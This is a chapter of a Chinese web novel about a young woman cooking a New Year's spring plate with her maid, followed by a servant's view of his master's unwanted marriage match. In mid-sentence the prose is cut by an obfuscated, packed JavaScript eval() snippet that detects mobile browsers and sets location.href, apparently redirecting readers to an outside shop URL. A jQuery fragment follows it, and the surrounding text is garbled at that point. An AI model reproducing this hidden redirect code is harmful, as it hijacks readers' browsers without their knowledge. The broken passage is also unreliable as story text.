沈朝盈不惯与人大被同眠,自从搬了这院子,二人就是分房睡的。昨日因守岁缘故,醉到后来没有知觉昏睡过去,醒来才发现两人头倒在几案上,导致沈朝盈现在稍微抬一抬脖颈子,就咔咔作响。 沈朝盈笑笑:“叫你做甚?” 睡得那样正香,何苦起来,她还后悔起早了无聊呢。 “昨夜小娘子不是说想去宝华寺听金昌大师讲经,下午就不好去庙里了。” 沈朝盈随口道:“我后来又想了想,咱们这样素日不大信佛的去,恐怕冒犯,还是罢了。” 其实是她早上一起来,两侧太阳穴突突地疼,便又不想去了,方才随口应下,是懒得张嘴跟崔瑄扯皮。 阿翘得知自己没有坏事,便又高兴起来。 沈朝盈顺势拿出压岁钱,簇新的红纸封,里面是曾经去钱府做席的时候得的银锞子,样子精巧好看,她一直没舍得花出去,就为了留着当压岁钱,或者自己也有放赏钱那一天。 阿翘先是惊喜,拿到手见这么多,这时候又不好意思起来,觉得自己占了太多便宜。 她的日子实在滋润。一则身契在自己手上,二则有月钱,平日白吃白喝更不少。 沈朝盈拉着略显局促的阿翘在尚有余温的地炉边上坐下,顺道给她讲起了正常的雇佣关系。其实比起雇佣,他们更像是并肩战斗的合伙伙伴,毕竟干的活儿都差不多。 阿翘愣愣听着,沈朝盈抿抿唇,虽知道这土生土长的大梁姑娘一时半会还拧不过来,但还是提前忧愁:“当然了,若日后你不想再跟着我,想自出去闯荡一番,咱们也能好聚好散。” 阿翘即刻瞪大了眼睛,她看起来也不傻吧,有吃有喝有钱有觉睡的日子她放着不要,出去打拼? 不要。 “我就跟着小娘子,小娘子挣钱我出力气,小娘子发迹了我保护小娘子。”阿翘忙表忠心。 沈朝盈笑眯眯地摸摸她的头,还是小姑娘贴心啊。 可不能光同甘啊,还得共苦,阿翘这般寻思着,接着脆生道:“就算小娘子翻船了我也陪着小娘子!就算吃糠咽菜......” 沈朝盈那点子感动还没来得及酝酿成眼泪水,就被小姑娘的贴心给揍飞了。 她忙打断:“对了,咱们今晚吃馈春盘,还缺味芸苔,去问问隔壁食肆的涂娘子有没有,咱们拿鸡蛋给她换。” 阿翘的苦情戏不演了,忙不迭去了。 馈春盘名气大,名头听起来也很雅,最早是以五位性味属“辛”的菜蔬置于盘中,亲友分食,故又称五辛,是为了辞旧迎新,取“新”之音。 元日吃馈春盘的习俗,起于晋,到后来,又变成立春日也要吃。 沈朝盈觉得大概是正月里北国尚未解冻,一片冰原,地里连葱韭一类都还没冒头,便只能推后意思了。 甚至到了宋时,彻底改名叫做春盘,是新年第一道大餐,再往后的元代,人们将卷好的春饼下锅油炸,变成了酥香的春卷。 所谓青蒿黄韭簇春盘,烙薄薄春饼卷着各种春蔬吃,称之为咬春、尝春,便是最基础的春盘也至少有五样菜蔬:葱、蒜、韭、蓼蒿、芥菜。 流传到现在,若是富庶人家吃春盘,自然少不了要上各种酱熏腌肉并各色炒菜,荤素搭配,再整点精整细致的时鲜菜蔬。 便是寻常人家,也会煎些鸡子来配。 葱蒜韭芥这些家家户户的菜地都有种,便是沈朝盈跟阿翘这样不会种菜的,去外头也好买,芸苔则是生长在河沟旁,漫山遍野都是,但不大出门就碰不上。 听说她们家没有,涂娘子热情地抓了一大把往篮子里塞,又将人给推出了门:“就这点子菜,什么换不换的,没得生分了!” 洗过手,沈朝盈便钻进厨房,摊春饼。 —— 春饼有两种随大流做法,一蒸,二烙。 沈朝盈喜欢吃烙的,柔韧有嚼劲。 将欺霜赛雪的面浆薄薄匀匀地搽在被炉火烧得红旺的锅底上,瞬间就贴成一张饼,茶盘那么大。 要想烙出来的春饼够薄,每次下的面糊一定要够少,还需得注意着些火候,最好是面糊上去之前火旺一些,摊的时候就得不文不急,才能出好饼。 翻个面,摊一会儿,揭下来往外冒着麦香。 烙得好春饼,可以圆似满月,薄如蝉翼。 沈朝盈试探性地先烙了两张,自觉和这口锅磨合得不错了,已经可以摊出来几近半透明的春饼了,便彻底放开了下手。 阿翘夸道:“小娘子这煎饼跟脸那么大似的,我吃三张就能饱。” 沈朝盈目光和蔼:“据说烙得好的煎饼,只有薄薄一层皮,大得像筛子,菜却切得如发丝细。” 沈朝盈烙饼,阿翘洗菜择菜切菜,自认为挑战不了那般高难度活计:“还是有什么吃什么吧。” 沈朝盈欣然。 切好的菜丝整整齐齐码在盘中,嫩汪汪的,韭菜还带点黄。 这时候还不算韭菜的季节,但是大梁人聪明,已经懂得造反季节蔬菜了,而且“以非时之物为珍”,十分珍贵,亦价格不菲,贫民不能办也。 好在还有一种平替,黄化蔬菜。 此“黄化”法在先秦汉时就已出现,最早出现的品种是豆芽,人称“黄卷”,便是后世之黄豆芽。 《农书》上还记载了韭菜如何黄化法:“至冬,移根藏于地屋荫中,培以马粪,暖而即长,高可尺许,不见风日,其叶黄嫩,谓之韭黄。” 沈朝盈买回来的便是韭黄。 韭黄味比韭菜更柔嫩和缓些,没那么辛辣,甚至带点儿甜。 砂锅里煨着笋片粥咕嘟咕嘟,翻腾如白玉。 五辛盘五辛盘,吃完之后嘴里难免全是辛辣味,这时候再喝上一小碗儿热热的稀米粥收尾,把嘴里的咸辛味去一去,这才叫享受。 虽没有翠缕红丝,金鸡玉燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12890151|134612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也诗意简单。 这鲜笋粥原是庵堂里的做法,把嫩笋切成方片,加水米熬煮,米水融合,柔腻如一,清淡鲜美,得诗赞其为“和米铛中煮白玉”。 粥好了,馈春盘也准备好了,将他们盛进漂亮的青瓷碗里,沈朝盈去净手换衣裳。 撩开帘子再出来,一弯淡淡新月挂在东边,稀疏星光隔着院中大枣树照下来,雪地还未化,白茫茫一片,反射得亮堂堂的。 被冷气迎面兜头盖脸一扑,沈朝盈立刻缩了脖子,撂下毡帘。 今冬拢共没下几场雪,恰都碰上了节气,冬至、小年、除夕,这是第三还第四场,她没仔细算,不过,都下得痛快就是了。 冬至节离得太远,已经没什么印象了,小年那会儿一整日都飘飘摇摇的,下个不停,积雪有脚踝那般深,过后化了好几天,屋檐上滴滴答答的才干净,昨夜里又下起来。 她们出门看过傩戏就开始了,先时小,半夜才大起来,坐在屋里还能听见积雪压垮那棵枣树树枝的声音。 吃过晚饭,沈朝盈催着阿翘早早去洗漱躺下。 昨夜熬了个颠倒,实在伤身,今儿可得好好补回来! —— 崔瑄才歇下没过多久,晌午的时候,那边又着人来请了,说哪有大过年不跟家里一起的。 阿青皱苦着脸,压低声音,不敢吵醒阿郎,只道自家郎君才从大朝会回来,颠倒一整夜,精神实在不济,待睡醒了,再过去。 又小半个时辰,那边人带来回话了,道是既不把家人放心上,便不必回去了。 这等赌气剜心之语,阿郎醒来听了,自是又要寒心的。 但国公爷的话,谁敢不传,也只有阿青敢传。 阿青有些抱不平。 虽阿郎瞧着冷,实则最是好性,从不为那边的事朝他们发脾气。 连他们下人都看得出阿郎当年的委屈,国公爷位高权重的,怎么反而被蒙了眼睛? 其实就是回去了也没好事,阿青已猜到国公爷打的什么主意,便是为撮合阿郎跟韦氏女郎的亲事。 长安韦氏,百年望族,如今当家的是睿国公。其姊乃先太后,其女是宫中贵妃,皇恩浩荡,恩宠并不少于肃国公。 两家欲结为姻亲,这门亲事自然落在阿郎头上,对方则是睿国公世子膝下唯一一位待嫁女郎,韦七娘。 某次春日宴,阿青随侍郎君时曾见过这位尊贵的小娘子,长得确实是雪肤花容,就是那脾气,又是个爱拿鼻孔看人的。 韦七娘心高气傲,见其他的五陵少年、王孙子弟都爱缠着她说话,唯崔瑄目不斜视,便跑来崔瑄身边趾高气昂地说了些怪话,又指挥崔瑄伺候她,类如替她剔鱼骨一类下人做的事的。 其实换做旁的郎君,自是乐意的,便不为这姓氏,只单纯为美人效劳,亦是一件风雅事。 崔瑄置之不理,把人给气哭了,跑去韦贵妃面前告状,结局自然是崔瑄被亲爹训斥。 就冲这事儿,阿青就敢打包票:这两人成不了!